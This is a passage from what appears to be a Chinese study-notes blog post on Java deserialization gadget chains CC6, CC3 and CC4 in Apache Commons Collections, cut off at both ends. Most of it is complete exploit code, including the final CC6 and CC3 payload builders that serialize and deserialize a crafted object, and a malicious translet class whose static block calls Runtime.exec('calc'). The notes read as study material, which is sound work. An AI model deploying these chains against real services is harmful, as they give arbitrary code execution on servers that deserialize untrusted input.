TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
tiedMapEntry.getValue();
}
}

这里说白了还是去调LazyMap.get("叉叉叉"),利用下面这东西:

1
2
3
4
5
6
7
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");  
tiedMapEntry.getValue();
//getValue方法:
public Object getValue() {
return map.get(key);
}
//这里map是构造函数里的Lazymap,而且这东西是个public修饰的,直接实例化一个对象调用就行

再往上找谁调用了这个getValue()

1
2
3
4
5
6
//TiedMapEntry.java
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

谁调用了hashcode()这个方法?

1
2
3
xxx.readObject()
HashMap.put() --自动调用--> HashMap.hash()
后续利用链.hashCode()

HashMap.put 开始,到 InvokerTransformer 结尾的弹计算器的 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// 用 HashMap 的 hash 方法完成链子
public class HashMapEXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
}
}

HashMap 类的 put() 方法自动调用了 hash 方法,进而调用hashicode方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
//TiedMapEntry下的hashcode方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}

这里有个小问题:在EXP这里打断点:

CC601

Debug的时候就能直接弹计算器了

这里甚至都没有进行put操作,因为:

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

参考文章

目前写出的CC6链子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// 用 HashMap 的 hash 方法完成链子
public class CC603 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");

serialize(expMap);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

这时运行序列化就会直接弹出计算器:

其实就是hashmap里那个put方法的锅:可以看到在put的时候就已经触发hash方法了,而不是等到readobject的时候触发hash方法

其实这里和URLDNS那条链子一样:我们希望是由readObject方法触发hash然后触发hashcode,但前面也说了:put的时候也会走到hash那边:

1
2
3
4
//Hashmap
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}

修改的目的?让put方法的时候无法触发这条链子,比如我在put前先把这条链子里某些东西改成错误的,put完之后修改成正确的,让它等到反序列化的readobject时再触发:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);


-----------------> 变成

Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five"));


//在执行 put 方法之后通过反射修改 Transformer 的 factory 值


Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);

但这时发现反序列化还是没法触发计算器,问题出在Lazymap的get方法:

1
2
3
4
5
6
7
8
9
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

注意他这个东西会在map中不包含key的时候才会触发后面那个factory.transform(key),然后他会把这个key放进去!!那么我们在反序列化的时候这里就已经有这个key了,也就不会触发factory.transform(key)这个方法。

解决方法也很简单,put完再把key删了就行:

Finalexp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

// CC6 链最终 EXPpublic class FinalCC6EXP {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazymap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMapClass, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC3

和CC1与CC6这两条链是直接在链的代码中执行任意代码相比,CC3是通过动态类加载机制来实现自动执行恶意类的代码的

回顾一下(忘差不多了):

实例化之前,必须先加载类的字节码文件到内存中。java类加载是指将类的字节码文件加载到内存中,并转换成 JVM 中的Class对象的过程。

加载类的过程中,会经历下列三个方法的调用:

(ClassLoader 是Java中的类加载器)

cc301

  • loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
  • findClass 的作用是根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
  • defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类

举个利用defineClass执行代码的例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.lang.reflect.Method; // 导入java.lang.reflect包中的Method类
import java.util.Base64; // 导入java.util包中的Base64类

public class HelloDefineClass { // 定义一个名为HelloDefineClass的公共类
public static void main(String[] args) throws Exception { // 定义一个名为main的公共静态方法,抛出Exception异常
// 获取ClassLoader类的defineClass方法,并设置为可访问
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClass.setAccessible(true);

// 使用Base64类解码经过Base64编码的字节码
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAGwoABgANCQAOAA8IABAKABEAEgcAEwcAFAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApTb3VyY2VGaWxlAQAKSGVsbG8uamF2YQwABwAIBwAVDAAWABcBAAtIZWxsbyBXb3JsZAcAGAwAGQAaAQAFSGVsbG8BABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAABAAEABwAIAAEACQAAAC0AAgABAAAADSq3AAGyAAISA7YABLEAAAABAAoAAAAOAAMAAAACAAQABAAMAAUAAQALAAAAAgAM");

// 调用ClassLoader类的defineClass方法,动态定义一个类,并将结果转换为Class对象
Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(), "Hello", code, 0, code.length);

// 实例化定义的类,不实例化没法调用代码
//这里直接用的defineClass方法,因为已经知道要加载的类、字节码是什么了
hello.newInstance();
}
}

注意,在 defineClass() 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中,在 defineClass() 时也无法被直接调用到。所以,如果我们要使用 defineClass() 在目标机器上执行任意代码,需要想办法调用构造函数 newInstance()

可以再看一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package org.example;


// 存放代码块
public class Person {
public static int staticVar;
public int instanceVar;

static {
System.out.println("静态代码块");
}

{
System.out.println("构造代码块");
}

Person(){
System.out.println("无参构造器");
}
Person(int instanceVar){
System.out.println("有参构造器");
}

public static void staticAction(){
System.out.println("静态方法");
}
}

cc302

这里如果把newclass.newInstance()注释掉(即只加载不进行实例化)会发现没有任何输出。

下面就是文章中的利用类:

首先,TemplatesImpl.java下存在defineClass:

1
2
3
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}

但注意这是被default修饰的,继续找有没有地方调用了他:

cc303

同一个类下的 getTransletInstance() 方法调用了 defineTransletClasses() 方法,并且这里有一个 newInstance() 实例化的过程,如果能走完这个函数那么就能动态执行代码:

cc304

这里可能会想:

这不是对_class[_transletIndex].newInstance();调用newInstance()吗?

可以看看这个东西是个啥:

1
2
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);

然后存在一个public修饰的方法:newTransformer

cc305

如何利用?

根据上面的分析我们知道:最终目标就是调用templates.java下的newTransformer()方法

大致调用顺序:

1
2
3
4
5
6
7
8
9
10
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
newTransformer -> getTransletInstance
-> defineTransletClasses() //并且存在实例化:
-> AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
注意:
defineTransletClasses() ->
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
//defineclass只是加载类没有执行,加载完了执行才能触发类的动态加载:恶意代码

先看看调用getTransletInstance下的defineTransletClasses()得满足啥条件:

1
2
3
4
5
6
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();
  • _namenull,则直接return null
  • _classsnull,调用 newInstance()

先看一眼无参构造函数吧,都怎么赋值的:

1
public TemplatesImpl() { } //空的

然后再看看defineTransletClasses()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
} //所以这里_bytecodes得是空的

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});//注意这个_tfactory,他不能为空

看图的话方便点:(DB师傅的图)

cc306

接下来看看defineTransletClasses如何利用:

1
2
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);

看看这个_bytecodes该如何定义:

1
private byte[][] _bytecodes = null;

这沟槽的是个二维数组,所以:

1
2
3
4
5
6
7
8
9
Field bytecodefield = temp1.getDeclaredField("_bytecodes");

classfield.setAccessible(true);

byte [] byte1 = Files.readAllBytes(Paths.get("E://Clac.class"));

byte [] [] evil = {byte1};

bytecodefield.set(temp1,evil);

defineTransletclasses下存在如下限制:

1
2
3
4
5
6
7
8
9
10
11
private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
........
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

这里的_tfactory绝不能为空。_tfactory 的值在 TemplatesImpl 这一类中被定义如下,关键字是 transient,这里进行了字段初始化:

1
private transient TransformerFactoryImpl _tfactory = null;

他不光为null,而且被transient修饰。这东西在序列化过程中都不会被传进去。不过在readObject方法中已经给他付了一个值:

1
2
3
4
5
    private void  readObject(ObjectInputStream is)
throws IOException, ClassNotFoundException
//省略
_tfactory = new TransformerFactoryImpl();
}

所以这里不管他就行,反正到时候反序列化会自动给个值。

先不着急序列化反序列化,调用newTransformer方法看看能不能打通。我们这里利用反射得给他赋成readObject时的值:

1
2
3
Field tfactoryField = templatesClass.getDeclaredField("_tfactory");  
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());

截止到目前的EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class TemplatesImplEXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
templates.newTransformer();
}
}

但这个时候会报空指针错,解决办法(参考DB师傅的图):

Debug

  • 418 行,判断在 defineClass() 方法中传进去的参数 b 数组的字节码是否继承了 ABSTRACT_TRANSLET 这个父类,如果没有则抛出异常,所以我们需要去恶意类中继承 ABSTRACT_TRANSLET 这个父类。

注意这是个抽象类,里面的抽象方法都得实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;

public class Clac extends AbstractTranslet {

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}

static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException var1) {
var1.printStackTrace();
}

}
}

再执行就可以弹计算器了:

cc308

后面就很好理解了:现在调newTransformer()这条路走得通,而且newTransformer()还是个public方法。这里可以利用CC1那边的chainedTransformer替换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public class CC1TemplatesEXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(1);
}

transform里面的参数无所谓,因为存在new ConstantTransformer(templates)。说白了就是templates.newTransformer(),换别的方法罢了。

这条路既然能走通,可以尝试把CC1剩下的部分都放进去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public class CC1TemplatesEXP {  
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(templates),
new InvokerTransformer("newTransformer", null, null)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value","drunkbaby");
Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);
// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

ysoser版CC3:

上面分析了,只要实现调用templates.newTransformer()就能进行命令执行,直接找都哪里调用了这个方法(这里我就直接去看TrAXFilter了,具体原因参考参考文章):

TrAXFilterCode

注意构造函数中的:

1
2
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();

所以只要调了这个构造函数就能达到目标

有没有哪个地方调了这个构造函数?

InstantiateTransformer下存在:

InstantiateTransformer

可以通过transform调用指定构造器并放入指定参数,看下这个参数怎么定义的:

1
2
3
4
5
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}

所以现在的逻辑:

1
2
3
4
需要实现:templates.newTransformer() ->
TrAXFilter的构造函数调用了templates.newTransformer() ->
InstantiateTransformer.transform可以进行构造方法调用
(所以这里又回到了transform方法的调用)

这里传入 new Class[]{Templates.class}new Object[]{templates} 即可。

这里我们把前面的templates.newTransformer()替换:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public static void main(String[] args) throws Exception{  
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
}
}

cc307

这里可以看到最终回到了transform方法的调用。。直接把他和CC1的拼一下:

其实就是把 instantiateTransformer.transform(TrAXFilter.class);换掉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// CC3 链最终 EXPpublic class CC3FinalEXP {
public static void main(String[] args) throws Exception
{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, //注意这里
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorateMap);

Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader()
, new Class[]{Map.class}, invocationHandler);
Object o = (InvocationHandler) declaredConstructor.newInstance(Override.class, proxyMap);

serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

当然也能和CC6结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

// 用 CC6 链的前半部分链子
public class CC3FinalEXP2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"Drunkbaby");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("E://Calc.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

CC4

CC4简单说就是找了条其它的路实现transform方法

CC4 链上去掉了 InvokerTransformer 的 Serializable 继承,这里找除了它谁还调用了transform方法:

1
InstantiateTransformer 下存在 transform方法

TransformingComparator 这个类中的 compare() 方法调用了 transform() 方法:

1
2
3
4
5
6
//TransformingComparator.java 
public int compare(Object obj1, Object obj2) {
Object value1 = this.transformer.transform(obj1);
Object value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

去找谁调用了这个compare方法:

riorityQueue 这个类中的 siftDownUsingComparator() 方法调用了之前的 compare() 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//PriorityQueue.java
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)//注意这里
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

同类下的siftDown调用了这个siftDownUsingComparator

1
2
3
4
5
6
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

siftDown:

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

然后再重写的PriorityQueue.readObject()存在调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {

s.defaultReadObject();

s.readInt();

queue = new Object[size];

for (int i = 0; i < size; i++)
queue[i] = s.readObject();

heapify();
}

逻辑:

1
2
3
4
5
PriorityQueue.readObject() -> heapify
heapify -> siftDown
siftDown ->siftDownUsingComparator
siftDownUsingComparator->compare
compare ->transformer.transform()

链子的尾部就是InstantiateTransformer.transform(),这里直接用前面CC3那部分就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
